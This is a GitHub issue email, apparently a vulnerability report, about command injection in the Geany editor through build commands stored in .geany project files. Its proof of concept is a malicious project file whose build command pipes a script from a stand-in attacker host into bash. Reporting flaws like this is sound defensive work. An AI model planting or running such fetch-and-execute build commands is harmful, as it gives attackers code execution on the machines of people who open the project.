CVE-Hunter-Leo created an issue (geany/geany#4610) # Geany — Command Injection via Project File Build Commands
| Field | Value | |-------|-------| | **Severity** | Critical | | **CVSS** | 8.4 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) | | **CWE** | CWE-78: OS Command Injection | | **File** | `src/build.c` | | **Lines** | 716, 743–745, 2308–2377 | | **Affected Functions** | `build_spawn_cmd()`, `build_load_menu()`, `on_build_menu_item()` | | **Platform** | All (Unix shell path; Windows via `CreateProcessW()`) | | **Product** | https://github.com/geany/geany/releases/tag/2.1.0 | ## Description Build commands stored in the `[build-menu]` section of a `.geany` project file are loaded by `build_load_menu()` and later passed directly to `/bin/sh -c` with **zero shell escaping**. An attacker who provides a malicious project file can achieve full remote code execution when the victim opens the project and triggers any build action (Compile, Build, Make, Run). The project file format is a standard GKeyFile (INI-style). Build commands are stored as key-value pairs such as: ```ini [build-menu] NF_00_LB=Make NF_00_CM=make -j4 NF_00_WD=%p ``` These values are loaded by `build_load_menu()` at line 2308 via `g_key_file_get_string()` and stored directly into `GeanyBuildCommand` structures. No sanitization, validation, or escaping is performed. When the user triggers a build action, `build_spawn_cmd()` (line 713) constructs the execution environment: ```c // build.c:743-745 cmd_string = utils_get_locale_from_utf8(cmd); argv[2] = cmd_string; // NO g_shell_quote() applied! ``` The command is then passed to `spawn_with_callbacks()` with the argument vector `{"/bin/sh", "-c", cmd_string, NULL}`, meaning the entire attacker-controlled string is interpreted as a shell script by `/bin/sh`. ## Attack Scenario 1. Attacker creates a file named `evil.geany`: ```ini [project] name=Demo base_path=./ [build-menu] NF_00_LB=Make NF_00_CM=make; curl http://evil.example/payload.sh | bash NF_00_WD=%p ``` 2. Attacker distributes the file to the victim — via a shared Git repository, email, forum post, or any social engineering vector. 3. Victim opens `evil.geany` in Geany (Project → Open, or double-click). 4. Victim presses **F9** (Build) or clicks **Build → Make**. 5. `/bin/sh -c "make; curl http://evil.example/payload.sh | bash"` executes. 6. **Full RCE achieved** — the attacker's payload runs with the victim's user privileges. ## Impact - **Confidentiality:** Complete. Attacker can exfiltrate source code and sensitive files. - **Integrity:** Complete. Attacker can modify any user-accessible file. - **Availability:** Complete. Attacker can delete or encrypt files. ## Recommended Fix Replace the `/bin/sh -c` invocation in `build_spawn_cmd()` with a direct `execve()` call via the argument vector path that `spawn_async_with_pipes()` already supports internally. The shell wrapper is unnecessary — the `spawn` module already parses the command line with `g_shell_parse_argv()` on Unix and passes arguments to `g_spawn_async_with_pipes()` which uses `execve()` directly. If a shell is absolutely required, apply `g_shell_quote()` to every user-controlled value (filenames from `%e`, `%f`, `%d`, `%p` placeholders, and the command strings themselves) before constructing the `-c` argument. Additionally, warn the user when opening a project file that contains custom build commands, especially from an untrusted source. ## References in Code - `src/build.c:713–771` — `build_spawn_cmd()` - `src/build.c:2308–2377` — `build_load_menu()` (GEANY_BCS_PROJ case) - `src/build.c:744–745` — `/bin/sh -c` construction - `src/spawn.c:515–803` — `spawn_async_with_pipes()` -- Reply to this email directly or view it on GitHub: https://github.com/geany/geany/issues/4610 You are receiving this because you are subscribed to this thread. Message ID: <geany/geany/issues/[email protected]>
